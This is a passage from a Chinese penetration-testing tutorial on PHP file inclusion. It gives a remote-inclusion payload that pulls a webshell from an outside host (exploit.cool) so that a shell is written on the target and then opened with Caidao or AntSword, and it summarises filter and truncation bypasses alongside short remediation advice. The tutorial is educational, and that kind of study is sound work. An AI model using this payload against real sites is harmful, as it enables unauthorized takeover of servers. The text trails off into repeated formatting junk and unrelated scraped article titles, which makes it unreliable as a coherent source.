第二步:远程包含一个wshell,在当前页面所在目录下创建一个Shell,我们再用菜刀
连接当前目录下的Shell即可getshell

payload:?page=HTTP://www.exploit.cool/wshell.qwsn?




(9)漏洞修复

开启magic_quotes_gpc(魔术字防护)参数开关
关闭allow_url_include(允许远程文件包含)参数开关

(10)漏洞总结

1.使用哪个文件包含函数?include()函数2.以什么方式读取待包含文件?以动态变量引入的方式获取待包含文件:include($file . '.html.php');3.攻击者对变量是否可控?变量不完全可控:$file = $_GET['page']$file = str_replace( array( "http://", "https://" ),"", $file );$file = str_replace( array( "../", "..\"" ), "", $file);4.远程文件包含,对php的两个参数开关都做要求allow_url_fopen=onallow_url_include=on5.%00截断,对php参数开关的要求:magic_quotes_gpc=off6.%23注释和%3f截断,对php的魔术字参数开关没有要求,但是只能是在远程文件包含的时候使用magic_quotes_gpc=on5.远程文件包含getshell姿势:姿势1:直接蚁剑连接包含的shell即可姿势2:远程包含一个wshell,生成一个当前页面目录下的shell,最后再蚁剑连接当前页面目录下的shell

祝大家新年快乐啊!!!!


删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式

89.网络安全渗透测试—[常规漏洞挖掘与利用篇5]—[文件包含漏洞详解实战示例]相关推荐

  1. 90.网络安全渗透测试—[常规漏洞挖掘与利用篇6]—[文件包含-PHP封装伪协议详解实战示例]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.文件包含-PHP封装伪协议简介 1.php内置封装协议 2.data://命令执行-伪协议 3.zip:// ...

  2. 100.网络安全渗透测试—[常规漏洞挖掘与利用篇16]—[密码找回漏洞与测试]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.密码找回漏洞与测试 1.密码找回漏洞简介 2.密码找回漏洞测试 (1)源码审计:forget.php (2) ...

  3. 渗透测试练习No.18 利用phpinfo+LFI(文件包含漏洞)打进主机

    本文首发于微信公众号"伏波路上学安全",喜欢的小伙伴们请关注公众号持续获取新的文章. 声明:文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果 ...

  4. mysql 多字节编码漏洞_phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

    漏洞详情 范围 phpMyAdmin 4.8.0和4.8.1 原理 首先在index.php 50-63行代码 $target_blacklist = array ( 'import.php', 'e ...

  5. 98.网络安全渗透测试—[常规漏洞挖掘与利用篇14]—[SESSION身份验证绕过漏洞与测试]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.session身份验证绕过漏洞与测试 1.session机制 2.session的生命周期 3.出现漏洞的情 ...

  6. 渗透测试-文件包含漏洞

    文件包含漏洞 文章目录 文件包含漏洞 前言 一.什么是文件包含漏洞 二.文件包含漏洞获取shell 1.文件包含漏洞的分类 2.利用漏洞获取shell 总结 前言 一.什么是文件包含漏洞 服务器通过p ...

  7. 【文件包含漏洞-02】文件包含漏洞原理、简单测试实例以及空字符绕过实例

    目录 1 文件包含漏洞 1.1 文件包含漏洞概述 1.2 文件包含漏洞的形成原因/条件 1.3 危害 2 文件包含漏洞简单测试实例 2.1 测试环境 2.2 实例一:本地文件包含 2.3 实例二:远程 ...

  8. delphi cxgrid读取本地image_技术讨论 | PHP本地文件包含漏洞GetShell

    序言 让我们突破重重苛刻环境GetShell,文中有以phpmyadmin包含漏洞做演示. PS:本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负. 漏洞背景 当您在发现PHP本地文件包含 ...

  9. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

最新文章

  1. Java 处理0x00特殊字符
  2. [转帖]Linux修改时区
  3. angular-file-upload+springMVC的使用
  4. Daily scrum 12.19
  5. Android NIO(Noblocking I/O非阻塞I/O)小结
  6. 关于java通过反射 获取/修改 对象属性值的一些注意事项
  7. 关于TI杯全国大学生电子设计竞赛
  8. CE认证---EMC最新标准-EN55032
  9. java pkcs8_java中公钥,私钥,pkcs1格式,pkcs8格式互转
  10. 基于Matlab/simulink的转速电流双闭环直流调速系统的仿真
  11. 检查mysql敏感词_违禁词在线查询神器(百度敏感词在线检测)
  12. 主流前端-后端-数据库总结--前端框架篇
  13. HFSS常见使用问题和解决办法汇总(纯经验分享)
  14. 服务器显示504,帮您解决win7系统访问nginx服务器提示504 Gateway Time-out错误的修复技巧...
  15. 脚踏实地,避免成为浮躁贪婪的人
  16. dota自走棋寻找不到服务器,《DOTA自走棋》服务器不对怎么办 服务器不对解决方法介绍...
  17. javascript中this指向问题(es5)
  18. 从苏宁电器到卡巴斯基第34篇:我与卡巴斯基的邂逅(上)
  19. 刘军吉林大学计算机学院,刘桂霞-吉林大学计算机科学与技术学院
  20. 用wps/excel绘制仪表盘

热门文章

  1. Stm32_电容式触摸屏- GT9147获取ID
  2. 【大数据】数据驱动的大数据金融应用-2017CCTC大会-专题视频课程
  3. eNSP内部网络访问外部网络实验
  4. 基于Android的计步器(Pedometer)的讲解-序
  5. 全志A40I方案 全志A40I方案定制 全志A40I软硬件设计定制 全志A40i性能如何
  6. 多种在线地图综合对比,Google,必应,arcgis Online...
  7. 高新技术企业的优惠政策
  8. HEP World‘s Classics寄语
  9. magic-把项目中的石头变成垫脚石
  10. QQ群视频出现imsdk登录失败的解决方法